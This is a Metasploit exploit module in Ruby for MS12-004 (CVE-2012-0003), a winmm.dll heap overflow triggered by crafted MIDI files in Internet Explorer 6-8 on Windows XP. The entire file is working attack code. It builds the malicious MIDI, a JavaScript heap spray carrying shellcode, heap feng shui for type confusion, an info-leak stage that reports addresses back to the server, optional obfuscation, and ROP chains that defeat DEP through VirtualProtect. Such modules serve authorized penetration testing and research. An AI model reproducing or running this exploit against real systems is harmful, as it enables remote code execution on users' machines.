##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => %Q|
			var v = window.os_detect.getVersion();
			var os_name = v['os_name'];
			var os_flavor = v['os_flavor'];
			if (os_name == 'Microsoft Windows' && os_flavor == 'XP') {is_vuln = true;} else { is_vuln = false; }
		|,
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
			'Description'    => %q{
					This module exploits a heap overflow vulnerability in the Windows Multimedia
				Library (winmm.dll). The vulnerability occurs when parsing specially crafted
				MIDI files.  Remote code execution can be achieved by using the Windows Media Player
				ActiveX control.

					Exploitation is done by supplying a specially crafted MIDI file with
				specific events, causing the offset calculation being higher than what is
				available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
				us to either "inc al" or "dec al" a byte.  This can be used to corrupt an array
				(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
				which leverages remote code execution under the context of the user.

					Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
				if you know your target's patch level, you may also try the 'MSHTML' advanced
				option for an info leak based attack.  Currently, this module only supports two
				MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
				Or 8.0.6001.19120, which is patch level before the MS12-004 fix.

					Also, based on our testing, the vulnerability does not seem to trigger when
				the victim machine is operated via rdesktop.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Shane Garrett',  #Initial discovery (IBM X-Force)
					'juan vazquez',
					'sinn3r'
				],
			'References'     =>
				[
					[ 'MSB', 'MS12-004'],
					[ 'CVE', '2012-0003' ],
					[ 'OSVDB', '78210'],
					[ 'BID', '51292'],
					[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'             => "process",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop' => false,
							'DispatchDst' => 0x0c0c0c0c
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop' => false,
							'DispatchDst' => 0x0c0c0c0c
						}
					],
					[
						'IE 8 on Windows XP SP3',
						{
							# xchg ecx,esp
							# or byte ptr [eax],al
							# add byte ptr [edi+5Eh],bl
							# ret 8
							# From IMAGEHLP
							'Rop' => true,
							'StackPivot'  => 0x76C9B4C2,
							'DispatchDst' => 0x0c0c1bd0
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 10 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

		register_advanced_options(
			[
				OptEnum.new('MSHTML',
					[
						false, "MSHTML Build Version", '',
						[
							'',               #Default (no leaky leaky)
							'8.0.6001.18702', #newly installed Win XP SP3 non patched
							'8.0.6001.19120'  #fully patched before KB2598479 - been the same at least since Sep 2011
						]
					])
			], self.class)
	end

	def exploit
		@m_name, @midi       = get_midi
		@ml_name, @midi_leak = get_midi("leak")
		@second_stage_url    = rand_text_alpha(10)
		@leak_param          = rand_text_alpha(5)

		# Offset to CFunctionPointer vftable in MSHTML
		case datastore['MSHTML']
		when '8.0.6001.18702'
			@offset = 0xbf190
		when '8.0.6001.19120'
			@offset = 0xd92c8
		end
		super
	end

	def get_target(request)
		agent = request.headers['User-Agent']
		print_status("Request as: #{agent}")

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
			#Windows XP SP3 + IE 6.0
			return targets[1]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
			#Windows XP SP3 + IE 7.0
			return targets[2]
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
			#Windows XP SP3 + IE 8.0
			return targets[3]
		else
			return nil
		end
	end

	# stage => "corruption" (default) | "leak"
	def get_midi(stage="corruption")
		# MIDI Fileformat Reference:
		# http://www.sonicspot.com/guide/midifiles.html
		#
		# Event Types:
		# 0x08 = Note Off (when MIDI key is released)
		# 0x09 = Note On (when MIDI key is pressed)
		# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
		# 0x0B = Controller Event (MIDI channels state)
		# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
		# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
		# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
		# 0x0F = Meta Events (not sent or received over a midi port)

		# Structure:
		# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)

		# Track Chunk Data
		tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
		# Meta Event - Sequence/Track Name
		tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
		# Midi Channel Event - Program Change
		tc << "\x00\xC9\x28"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x07\x64"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x0A\x40"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x7B\x00"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x5B\x28"
		# Midi Channel Event - Controller
		tc << "\x00\xB9\x5D\x00"
		# Midi Channel Event - Note On
		tc << "\x85\x50\x99\x23\x7F"

		# Corruption events
		if stage == "corruption"
			# Midi Channel Event - Note On
			tc << "\x00\x9F\xb2\x73"
		else
			# Midi Channel Event - Note Off (trigger a leak)
			tc << "\x00\x8F\xb2\x73"
		end

		# Meta Event - End Of Track
		tc << "\x00\xFF\x2F\x00"
		m = ''
		# HEADERCHUNK Header
		m << "MThd"                 # Header
		m << "\x00\x00\x00\x06"     # Chunk size
		m << "\x00\x00"             # Format Type
		m << "\x00\x01"             # Number of tracks
		m << "\x00\x60"             # Time division
		# TRACKCHUNK header
		m << "MTrk"                 # Header
		m << [tc.length].pack('N')
		m << tc

		#midi_name = "test_case.mid"
		midi_name = rand_text_alpha(5) + ".mid"

		return midi_name, m
	end

	def on_request_uri(cli, request)

		# Initialize a target.  If none suitable, then we don't continue.
		my_target = target
		if my_target.name =~ /Automatic/
			my_target = get_target(request)
			agent = request.headers['User-Agent']
			if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
				send_not_found(cli)
				print_error("Unknown user-agent")
				return
			end
			vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
		end

		# Send the corrupt midi file to trigger a memory leak, or a crash to that points
		# to an arbitrary address.
		if request.uri =~ /#{@ml_name}$/i
			print_status("Testing for info leak...")
			send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
			return
		elsif request.uri =~ /#{@m_name}$/i
			print_status("Sending midi corruption file...")
			send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
			return
		end

		# Send the appropriate stage
		if datastore['MSHTML'].to_s != '' and my_target['Rop']
			if request.uri =~ /#{@second_stage_url}/
				leak = begin
					request.uri_parts["QueryString"][@leak_param].to_i
				rescue
					0
				end
				print_status("Leaked address: 0x#{leak.to_s(16)}")
				send_stage(cli, my_target, 'trigger', leak)
				return
			end
			send_stage(cli, my_target, 'leak')
		else
			send_stage(cli, my_target)
		end
	end

	def send_stage(cli, my_target, stage='trigger', leak=0)
		midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

		if stage == 'leak'
			midi_uri << "/#{@ml_name}"
			trigger = build_trigger(my_target, "leak")
		else
			midi_uri << "/#{@m_name}"
			trigger  = build_trigger(my_target)
			spray    = build_spray(my_target, leak)
		end

		if datastore['OBFUSCATE']
			spray   = ::Rex::Exploitation::JSObfu.new(spray).obfuscate
			trigger = ::Rex::Exploitation::JSObfu.new(trigger)
			trigger.obfuscate
			trigger_fn = trigger.sym('trigger')
		else
			trigger_fn = 'trigger'
		end

		html = %Q|
		<html>
		<head>
		<script language='javascript'>
		#{spray}
		</script>

		<script language='javascript'>
			#{trigger}
		</script>
		<script for=audio event=PlayStateChange(oldState,newState)>
			if (oldState == 3 && newState == 0) {
				#{trigger_fn}();
			}
		</script>
		</head>
		<body>
			<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
				<param name="fileName" value="#{midi_uri}">
				<param name="SendPlayStateChangeEvents" value="true">
				<param NAME="AutoStart" value="True">
				<param name="uiMode" value="mini">
				<param name="Volume" value="-300">
			</object>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def build_spray(my_target, leak=0)

		# Extract string based on target
		if my_target.name == 'IE 8 on Windows XP SP3'
			js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
		else
			js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
		end

		# Build shellcode based on Rop requirement
		code = ''
		if my_target['Rop'] and datastore['MSHTML'].to_s != ''
			print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
			code << create_info_leak_rop(my_target, leak)
			code << payload.encoded
		elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
			print_status("Generating ROP using msvcrt")
			code << create_rop(my_target, payload.encoded)
		else
			code << payload.encoded
		end

		shellcode = Rex::Text.to_unescape(code)

		# 1. Create  big block of nops
		# 2. Compose one block which is nops + shellcode
		# 3. Repeat the block
		# 4. Extract string from the big block
		# 5. Spray
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x10000);

		var code = unescape("#{shellcode}");
		var nops = unescape("%u0c0c%u0c0c");

		while (nops.length < 0x1000) nops+= nops;
		var shellcode =  nops.substring(0,0x800 - code.length) + code;
		while (shellcode.length < 0x40000) shellcode += shellcode;

		#{js_extract_str}

		heap_obj.gc();
		for (var i=0; i < 600; i++) {
			heap_obj.alloc(block);
		}

		JS

		spray = heaplib(spray, {:noobfu => true})
		return spray
	end

	# Build the JavaScript string for the attributes
	# type => "corruption" (default) | "leak"
	def build_element(element_name, my_target, type="corruption")
		dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
		element = ''

		if my_target.name =~ /IE 8/
			max   = 63   # Number of attributes for IE 8
			index = 1    # Where we want to confuse the type
		else
			max   = 55   # Number of attributes for before IE 8
			index = 0    # Where we want to confuse the type
		end

		element << "var #{element_name} = document.createElement(\"select\")" + "\n"

		# Build attributes
		0.upto(max) do |i|
			case type
				when "corruption"
					obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
				else #leak
					obj = "alert"
			end
			element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
		end

		return element
	end

	# Feng Shui and triggering Steps:
	# 1. Run the garbage collector before allocations
	# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
	# 3. Make holes
	# 4. Let windows media play the crafted midi file and corrupt the heap
	# 5. Force the using of the confused tagVARIANT.
	def build_trigger(my_target, type="corruption")
		js_trigger = build_trigger_fn(my_target, type)
		select_element = build_element('selob', my_target, type)

		trigger = <<-JS
			var heap = new heapLib.ie();
			#{select_element}
			var clones = new Array(1000);

			function feng_shui() {
				heap.gc();

				var i = 0;
				while (i < 1000) {
					clones[i] = selob.cloneNode(true)
					i = i + 1;
				}

				var j = 0;
				while (j < 1000) {
					delete clones[j];
					CollectGarbage();
					j  = j + 2;
				}
			}

			feng_shui();

			#{js_trigger}
		JS

		trigger = heaplib(trigger, {:noobfu => true})
		return trigger
	end

	# type = "corruption" (default) | "leak"
	def build_trigger_fn(my_target, type="corruption")
		js_trigger=""
		case type
			when "corruption"
				js_trigger = js_trigger_fn_corruption(my_target)
			when "leak"
				js_trigger = js_trigger_fn_leak(my_target)
		end
		return js_trigger
	end

	# Redoing the feng shui if fails makes it reliable
	def js_trigger_fn_corruption(my_target)
		attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'

		js = %Q|
		function trigger(){
			var k = 999;
			while (k > 0) {
				if (typeof(clones[k].#{attribute}) == "string") {
				} else {
					clones[k].#{attribute}('come on!');
				}
				k = k - 2;
			}
			feng_shui();
			document.audio.Play();
		}
		|

		return js
	end

	# Redoing the feng shui if fails makes it reliable
	def js_trigger_fn_leak(my_target)
		js_trigger = ""
		if my_target.name == 'IE 8 on Windows XP SP3'
			js_trigger = <<-JSTRIGGER
			function trigger(){
				var k = 999;
				while (k > 0) {
					if (typeof(clones[k].w1) == "string") {
						var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
						document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
						return;
					}
					k = k - 2;
				}
				feng_shui();
				document.audio.Play();
			}
			JSTRIGGER
		end

		return js_trigger
	end

	def create_rop(t, p)
		# MSVCRT.dll ROP
		padding = ''
		padding << [0x77C4CA70].pack("V*")        #ADD ESP,0C; RET
		padding << [t['StackPivot']].pack("V*")
		padding << [0x77C4CA73].pack("V*") * 12   #ROP NOPs
		generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
	end

	def create_info_leak_rop(my_target, leak = 0x0)
		base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
		print_status("Image base of mshtml: 0x%x" %base)

		# Generate the gadgets based on offset
		rop_gadgets = ''
		case @offset
		when 0xd92c8
			rop_gadgets =
			[
				:junk,
				:junk,
				0x328468,   # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
				:junk,
				0x247e5d,   # ROP NOPs
				0x247e5d,
				0x247e5d,
				0x247e5d,
				0x247e5d,
				0x247e5d,
				0x247e5d,
				0x247e5c,   # POP ESI # RETN [mshtml.dll]
				0x137c,     # ptr to &VirtualProtect() [IAT mshtml.dll]
				0x3c8db7,   # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
				0x42e239,   # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
				:junk,
				0x3460c,    # POP EBP # RETN [mshtml.dll]
				:junk,
				:junk,
				0x23ef79,   # & jmp esp [mshtml.dll]
				0x189303,   # POP EBX # RETN [mshtml.dll]
				:ebx,       # 0x00000201-> ebx
				0x20437c,   # POP EDX # RETN [mshtml.dll]
				:edx,       # 0x00000040-> edx
				0xc277,     # POP ECX # RETN [mshtml.dll]
				0x53a47d,   # &Writable location [mshtml.dll]
				0x4a33e2,   # POP EDI # RETN [mshtml.dll]
				0x4b601,    # RETN (ROP NOP) [mshtml.dll]
				0x33fbc6,   # POP EAX # RETN [mshtml.dll]
				:nop,
				0x52c718    # PUSHAD # RETN [mshtml.dll]
			]

		when 0xbf190
			rop_gadgets =
			[
				:junk,
				0x3338ae,  # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
				:junk,
				0xe9e7,    # POP ECX # RETN [mshtml.dll] 0x6358e9e7
				:junk,
				:junk,
				:junk,
				:junk,
				:junk,
				0x1318,     # ptr to &VirtualProtect() [IAT mshtml.dll]
				0x48b440,   # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
				0x3dc745,   # POP ESI # RETN [mshtml.dll]
				:neg,       # 0xffffffff
				0x2fb18b,   # INC ESI # RETN [mshtml.dll]
				0x35190d,   # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
				0x4aada7,   #  POP EBP # RETN [mshtml.dll]
				:junk,      # Compensates RETN
				:junk,      # Compensates RETN
				0x1ffc54,   # & jmp esp [mshtml.dll]
				0x4498a7,   # POP EBX # RETN [mshtml.dll]
				:ebx,       # 0x00000800: 0x00000201-> ebx
				0x24cce4,   # POP EDX # RETN [mshtml.dll]
				:edx,       # 0x00000040-> edx
				0x158306,   # POP ECX # RETN [mshtml.dll]
				0x535098,   # &Writable location [mshtml.dll]
				0x1cf217,   # POP EDI # RETN [mshtml.dll]
				0xa0001,    # RETN (ROP NOP) [mshtml.dll]
				0x349f9b,   # POP EAX # RETN [mshtml.dll]
				:nop,
				0x2afbe8    # PUSHAD # RETN [mshtml.dll]
			]
		end

		nops = make_nops(4).unpack("L")[0].to_i

		rop_gadgets.map! { |e|
			if e == :junk
				rand_text(4).unpack("L")[0].to_i
			elsif e == :neg
				0xffffffff
			elsif e == :ebx
				0x00000800
			elsif e == :edx
				0x00000040
			elsif e == :nop
				nops
			else
				base + e
			end
		}

		chain = rop_gadgets.pack('V*')
		return chain
	end
end
